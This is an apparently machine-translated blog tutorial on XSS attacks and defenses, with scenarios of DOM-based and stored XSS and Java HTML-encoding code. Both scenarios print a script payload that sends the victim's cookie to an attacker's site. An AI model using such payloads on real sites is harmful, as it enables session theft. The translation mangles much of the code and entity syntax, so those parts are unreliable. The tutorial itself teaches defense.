This article is from: Gao Shuang | coder. Original article address: http://blog.csdn.net/ghsau/article/details/17027893. Please note.
XSS, also known as CSS, is short for cross sitescript. It is a common vulnerability in web programs. XSS is a passive and used for client attacks, so it is easy to ignore its dangers. The principle is that attackers input (pass in) malicious HTML code to a website with the XSS vulnerability. When other users browse the website, the HTML code is automatically executed to attack the website. For example, steal user cookies, damage the Page Structure, and redirect to other websites.
XSS attacks are similar to SQL injection attacks. Before the attacks, we first find a website with XSS vulnerabilities. XSS vulnerabilities are divided into two types: Dom based XSS vulnerabilities, the other is the stored XSS vulnerability. Theoretically,All input locationsIf you do not process the input data, an XSS vulnerability exists. The danger of the vulnerability depends on the power of the attack code, and the attack code is not limited to scripts.
Dom based XSSDom-based XSS is an attack based on the DOM structure of web pages. This attack is characterized by a few people.
Scenario 1:
When I log on to a.com, I find that some content on its page is directly displayed based on a content parameter in the URL. I guess it may be like this in other languages:
<% @ Page Language ="Java"Contenttype ="Text/html; charset = UTF-8"Pageencoding =UTF-8"%> <! Doctypehtmlpublic "-// W3C // dtd html 4.01 transitional //" http://www.w3.org/TR/html4/loose.dtd "> <HTML> <Head> <Title> XSS test </title> </Head> <Body> Page Content: <% = request. getparameter ("content") %> </Body> </Html> |
I know Tom also registered the website, and know his mailbox (or other contact information can receive information), I make a hyperlink to him, hyperlink address: http://www.a.com? Content = <SCRIPT> window. Open ("www. B .com? Param = "+ document. cookie) </SCRIPT>. When Tom clicks this link (assuming he has logged on to a.com), the browser will directly open B .com and send the cookie information of Tom in a.com to B .com, B .com is the website I set up. When my website receives this information, I steal the cookie information of Tom at a.com. The cookie information may contain a logon password. The attack was successful! In this process, the victim only has Tom himself. So when I enter a.com in the browser? Content = <SCRIPT> alert ("XSS") </SCRIPT>. When the browser displays the page content, it executes my script and outputs the XSS words on the page, this is an attack on myself. How can I attack others and make profits?
Stored XSSStored XSS is a storage-type XSS vulnerability. Because its attack code has been stored on the server or database, many victims are victims.
Scenario 2:
A.com can post an article. After I log on to a.com, I published an article in a.com, which contains malicious code. <SCRIPT> window. Open ("www. B .com? Param = "+ document. Cookie) </SCRIPT> to save the article. At this time, Tom and Jack saw my published article. When I checked my article, they all caught up. Their cookie information was sent to my server, and the attack was successful! In this process, there are multiple victims.
The stored XSS vulnerability is more harmful and more harmful.
In a world of contradictions, we have a spear and a shield. As long as there are no vulnerabilities in our code, attackers will not be able to get started. We need to make an unseed egg. XSS provides the following defense methods.
Perfect filtering systemNever trust user input. User input must be processed. Only valid values can be entered. Other values are filtered out.
HTML encodeIn some cases, if we cannot strictly filter user data, we also need to convert tags.
Less-than character (<) |
& Lt; |
Greater-than character (>) |
& Gt; |
Ampersand character (&) |
& Amp; |
Double-quote character (") |
& Quot; |
Space character () |
& Nbsp; |
Any ASCII code character whose code is greater-than or equal to 0x80 |
& # <Number>, where <number> is the ASCII character value. |
For example, the user input: <SCRIPT> window. location. href = "http://www.baidu.com"; </SCRIPT>, after saving, the final storage will be: & lt; script & gt; window. location. href = & quot; http://www.baidu.com & quot; & lt;/script & gt; when presented, the browser converts these characters to text content for display, rather than a piece of executable code.
OthersThe following two methods are provided for HTML encode.
Use Apache commons-lang.jar
Stringescapeutils. escapehtml (STR); // Chinese characters are converted to the corresponding ASCII code, and spaces are not converted. |
Convert only some characters
Private StaticString htmlencode (CharC ){ Switch(C ){ Case'&': Return"& Amp ;"; Case'<': Return"& Lt ;"; Case'> ': Return"& Gt ;"; Case'"': Return"& Quot ;"; Case'': Return"& Nbsp ;"; Default: ReturnC + ""; } }
/** Convert the input string STR to HTML encode */ Public staticString htmlencode (string Str ){ If(STR =Null| Str. Trim (). Equals (""))ReturnSTR; Stringbuilder encodestrbuilder =NewStringbuilder (); For(IntI = 0, Len = Str. Length (); I <Len; I ++ ){ Encodestrbuilder. append (Htmlencode(Str. charat (I ))); } ReturnEncodestrbuilder. tostring (); } |
(End)
This article is from: Gao Shuang | coder. Original article address: http://blog.csdn.net/ghsau/article/details/17027893. Please note.
XSS attacks and defense
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
